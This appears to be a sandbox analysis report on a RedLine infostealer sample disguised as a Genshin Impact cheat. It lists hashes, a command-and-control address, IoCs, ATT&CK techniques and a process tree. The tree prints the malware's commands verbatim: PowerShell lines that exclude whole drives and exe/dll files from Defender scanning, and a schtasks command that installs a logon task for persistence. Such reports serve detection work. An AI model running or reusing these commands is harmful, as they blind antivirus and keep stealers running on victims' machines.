redline | d1b138a211d4b9ce4d825f82669ba211e585a87eec0e877a2b8ef87a9e43ccb6

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-en-20210920
submitted
24/10/2021, 15:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
GenshinHack.exe
Size 4.6MB
Sample211024-syl8vsfddl
SHA256 d1b138a211d4b9ce4d825f82669ba211e585a87eec0e877a2b8ef87a9e43ccb6
MD5 e0cfd7368fe27985e8df3605d46aca15
SHA1 1c7d84c4702540d46b8b7557b94d65f97a1cf0f1
SHA512 1d959385c46079ad0999650f83de687f00522e4cc45bf1e96077cae9e8564f398d6a7a0671a3cfa3bb9ecc37a996d9b1e2fd34b01ba0c8437a75f54db0dd55eb
MD5 SHA1 SHA512

Score

10^/10

redline @cherryvishny infostealer spyware vmprotect

Malware Config

Extracted

Family

redline

Botnet

@CherryVishny

185.209.22.181:29234

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 4 IoCs

resource	yara_rule
behavioral1/memory/980-73-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral1/memory/980-78-0x0000000000419A6E-mapping.dmp	family_redline
behavioral1/memory/980-79-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral1/memory/980-80-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline

Downloads MZ/PE file

Executes dropped EXE 3 IoCs

pid	Process
1684	build.exe
456	services32.exe
1736	sihost32.exe

VMProtect packed file 10 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/files/0x00050000000130ab-85.dat	vmprotect
behavioral1/files/0x00050000000130ab-86.dat	vmprotect
behavioral1/files/0x00050000000130ab-88.dat	vmprotect
behavioral1/files/0x00050000000130ab-89.dat	vmprotect
behavioral1/memory/1684-90-0x0000000000400000-0x0000000000BE7000-memory.dmp	vmprotect
behavioral1/files/0x002300000000f5b4-120.dat	vmprotect
behavioral1/files/0x002300000000f5b4-124.dat	vmprotect
behavioral1/files/0x002300000000f5b4-122.dat	vmprotect
behavioral1/files/0x002300000000f5b4-121.dat	vmprotect
behavioral1/memory/456-125-0x0000000000400000-0x0000000000BE7000-memory.dmp	vmprotect

Loads dropped DLL 6 IoCs

pid	Process
980	AppLaunch.exe
980	AppLaunch.exe
1428	cmd.exe
1428	cmd.exe
1048	conhost.exe
1048	conhost.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 528 set thread context of 980	528	GenshinHack.exe	28

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
880	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
528	GenshinHack.exe
528	GenshinHack.exe
980	AppLaunch.exe
1684	build.exe
692	conhost.exe
912	powershell.exe
1588	powershell.exe
456	services32.exe
1048	conhost.exe
1048	conhost.exe
284	powershell.exe
1584	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	980	AppLaunch.exe
Token: SeDebugPrivilege	692	conhost.exe
Token: SeDebugPrivilege	912	powershell.exe
Token: SeDebugPrivilege	1588	powershell.exe
Token: SeDebugPrivilege	1048	conhost.exe
Token: SeDebugPrivilege	284	powershell.exe
Token: SeDebugPrivilege	1584	powershell.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 528 wrote to memory of 980	528	GenshinHack.exe	28
PID 528 wrote to memory of 980	528	GenshinHack.exe	28
PID 528 wrote to memory of 980	528	GenshinHack.exe	28
PID 528 wrote to memory of 980	528	GenshinHack.exe	28
PID 528 wrote to memory of 980	528	GenshinHack.exe	28
PID 528 wrote to memory of 980	528	GenshinHack.exe	28
PID 528 wrote to memory of 980	528	GenshinHack.exe	28
PID 528 wrote to memory of 980	528	GenshinHack.exe	28
PID 528 wrote to memory of 980	528	GenshinHack.exe	28
PID 980 wrote to memory of 1684	980	AppLaunch.exe	30
PID 980 wrote to memory of 1684	980	AppLaunch.exe	30
PID 980 wrote to memory of 1684	980	AppLaunch.exe	30
PID 980 wrote to memory of 1684	980	AppLaunch.exe	30
PID 1684 wrote to memory of 692	1684	build.exe	31
PID 1684 wrote to memory of 692	1684	build.exe	31
PID 1684 wrote to memory of 692	1684	build.exe	31
PID 1684 wrote to memory of 692	1684	build.exe	31
PID 692 wrote to memory of 932	692	conhost.exe	32
PID 692 wrote to memory of 932	692	conhost.exe	32
PID 692 wrote to memory of 932	692	conhost.exe	32
PID 932 wrote to memory of 912	932	cmd.exe	34
PID 932 wrote to memory of 912	932	cmd.exe	34
PID 932 wrote to memory of 912	932	cmd.exe	34
PID 692 wrote to memory of 1936	692	conhost.exe	35
PID 692 wrote to memory of 1936	692	conhost.exe	35
PID 692 wrote to memory of 1936	692	conhost.exe	35
PID 1936 wrote to memory of 880	1936	cmd.exe	37
PID 1936 wrote to memory of 880	1936	cmd.exe	37
PID 1936 wrote to memory of 880	1936	cmd.exe	37
PID 932 wrote to memory of 1588	932	cmd.exe	38
PID 932 wrote to memory of 1588	932	cmd.exe	38
PID 932 wrote to memory of 1588	932	cmd.exe	38
PID 692 wrote to memory of 1428	692	conhost.exe	39
PID 692 wrote to memory of 1428	692	conhost.exe	39
PID 692 wrote to memory of 1428	692	conhost.exe	39
PID 1428 wrote to memory of 456	1428	cmd.exe	41
PID 1428 wrote to memory of 456	1428	cmd.exe	41
PID 1428 wrote to memory of 456	1428	cmd.exe	41
PID 456 wrote to memory of 1048	456	services32.exe	42
PID 456 wrote to memory of 1048	456	services32.exe	42
PID 456 wrote to memory of 1048	456	services32.exe	42
PID 456 wrote to memory of 1048	456	services32.exe	42
PID 1048 wrote to memory of 1412	1048	conhost.exe	43
PID 1048 wrote to memory of 1412	1048	conhost.exe	43
PID 1048 wrote to memory of 1412	1048	conhost.exe	43
PID 1412 wrote to memory of 284	1412	cmd.exe	45
PID 1412 wrote to memory of 284	1412	cmd.exe	45
PID 1412 wrote to memory of 284	1412	cmd.exe	45
PID 1048 wrote to memory of 1736	1048	conhost.exe	46
PID 1048 wrote to memory of 1736	1048	conhost.exe	46
PID 1048 wrote to memory of 1736	1048	conhost.exe	46
PID 1412 wrote to memory of 1584	1412	cmd.exe	47
PID 1412 wrote to memory of 1584	1412	cmd.exe	47
PID 1412 wrote to memory of 1584	1412	cmd.exe	47
PID 1736 wrote to memory of 956	1736	sihost32.exe	48
PID 1736 wrote to memory of 956	1736	sihost32.exe	48
PID 1736 wrote to memory of 956	1736	sihost32.exe	48
PID 1736 wrote to memory of 956	1736	sihost32.exe	48

C:\Users\Admin\AppData\Local\Temp\GenshinHack.exe
"C:\Users\Admin\AppData\Local\Temp\GenshinHack.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:528
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:980
- - C:\Users\Admin\AppData\Local\Temp\build.exe
    "C:\Users\Admin\AppData\Local\Temp\build.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1684
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\build.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:692
    - - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:932
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        6⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:912
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        6⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1588
    - - C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1936
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:880
    - - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\services32.exe"
        5⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1428
      - C:\Users\Admin\services32.exe
        
        C:\Users\Admin\services32.exe
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:456
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\services32.exe"
        7⤵
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1048
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1412
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        9⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:284
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        9⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1584
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1736
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\\conhost.exe" "/sihost32"
        9⤵
        
        PID:956

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/284-143-0x00000000025B0000-0x00000000025B2000-memory.dmp

Download

memory/284-138-0x000007FEED460000-0x000007FEEDFBD000-memory.dmp

Download

memory/284-144-0x00000000025B2000-0x00000000025B4000-memory.dmp

Download

memory/284-145-0x00000000025B4000-0x00000000025B7000-memory.dmp

Download

memory/284-146-0x00000000025BB000-0x00000000025DA000-memory.dmp

Download

memory/456-125-0x0000000000400000-0x0000000000BE7000-memory.dmp

Download

memory/528-65-0x0000000000160000-0x0000000000161000-memory.dmp

Download

memory/528-54-0x0000000000130000-0x0000000000131000-memory.dmp

Download

memory/528-62-0x0000000000150000-0x0000000000151000-memory.dmp

Download

memory/528-61-0x0000000000150000-0x0000000000151000-memory.dmp

Download

memory/528-59-0x0000000000140000-0x0000000000141000-memory.dmp

Download

memory/528-58-0x0000000000140000-0x0000000000141000-memory.dmp

Download

memory/528-55-0x0000000000130000-0x0000000000131000-memory.dmp

Download

memory/528-71-0x0000000000180000-0x0000000000181000-memory.dmp

Download

memory/528-64-0x0000000000160000-0x0000000000161000-memory.dmp

Download

memory/528-67-0x0000000000170000-0x0000000000171000-memory.dmp

Download

memory/528-57-0x0000000000140000-0x0000000000141000-memory.dmp

Download

memory/528-70-0x0000000000180000-0x0000000000181000-memory.dmp

Download

memory/528-68-0x0000000000170000-0x0000000000171000-memory.dmp

Download

memory/528-56-0x0000000000130000-0x0000000000131000-memory.dmp

Download

memory/692-94-0x0000000000390000-0x000000000039C000-memory.dmp

Download

memory/692-104-0x000000001AC76000-0x000000001AC77000-memory.dmp

Download

memory/692-105-0x000000001AC77000-0x000000001AC78000-memory.dmp

Download

memory/692-103-0x000000001AC74000-0x000000001AC76000-memory.dmp

Download

memory/692-102-0x000000001AC72000-0x000000001AC74000-memory.dmp

Download

memory/692-93-0x00000000000A0000-0x00000000000AF000-memory.dmp

Download

memory/912-109-0x000000001B7F0000-0x000000001BAEF000-memory.dmp

Download

memory/912-107-0x00000000024A2000-0x00000000024A4000-memory.dmp

Download

memory/912-101-0x000007FEEDE50000-0x000007FEEE9AD000-memory.dmp

Download

memory/912-98-0x000007FEFBE51000-0x000007FEFBE53000-memory.dmp

Download

memory/912-114-0x00000000024AB000-0x00000000024CA000-memory.dmp

Download

memory/912-106-0x00000000024A0000-0x00000000024A2000-memory.dmp

Download

memory/912-108-0x00000000024A4000-0x00000000024A7000-memory.dmp

Download

memory/956-157-0x0000000000060000-0x0000000000067000-memory.dmp

Download

memory/956-155-0x0000000001CE0000-0x0000000001CE3000-memory.dmp

Download

memory/956-158-0x000000001AE22000-0x000000001AE24000-memory.dmp

Download

memory/956-159-0x000000001AE24000-0x000000001AE26000-memory.dmp

Download

memory/956-160-0x000000001AE26000-0x000000001AE27000-memory.dmp

Download

memory/956-161-0x000000001AE27000-0x000000001AE28000-memory.dmp

Download

memory/980-72-0x0000000000400000-0x000000000041E000-memory.dmp

Download

memory/980-79-0x0000000000400000-0x000000000041E000-memory.dmp

Download

memory/980-81-0x00000000762D1000-0x00000000762D3000-memory.dmp

Download

memory/980-80-0x0000000000400000-0x000000000041E000-memory.dmp

Download

memory/980-73-0x0000000000400000-0x000000000041E000-memory.dmp

Download

memory/980-84-0x0000000004A90000-0x0000000004A91000-memory.dmp

Download

memory/980-82-0x0000000000400000-0x0000000000401000-memory.dmp

Download

memory/1048-132-0x0000000001D24000-0x0000000001D26000-memory.dmp

Download

memory/1048-133-0x0000000001D26000-0x0000000001D27000-memory.dmp

Download

memory/1048-134-0x0000000001D27000-0x0000000001D28000-memory.dmp

Download

memory/1048-131-0x0000000001D22000-0x0000000001D24000-memory.dmp

Download

memory/1584-153-0x0000000002444000-0x0000000002447000-memory.dmp

Download

memory/1584-150-0x000007FEED9A0000-0x000007FEEE4FD000-memory.dmp

Download

memory/1584-154-0x000000000244B000-0x000000000246A000-memory.dmp

Download

memory/1584-152-0x0000000002442000-0x0000000002444000-memory.dmp

Download

memory/1584-151-0x0000000002440000-0x0000000002442000-memory.dmp

Download

memory/1588-118-0x000000000267B000-0x000000000269A000-memory.dmp

Download

memory/1588-117-0x0000000002674000-0x0000000002677000-memory.dmp

Download

memory/1588-116-0x0000000002672000-0x0000000002674000-memory.dmp

Download

memory/1588-115-0x0000000002670000-0x0000000002672000-memory.dmp

Download

memory/1588-113-0x000007FEEDE50000-0x000007FEEE9AD000-memory.dmp

Download

memory/1684-92-0x0000000077780000-0x0000000077782000-memory.dmp

Download

memory/1684-90-0x0000000000400000-0x0000000000BE7000-memory.dmp

Download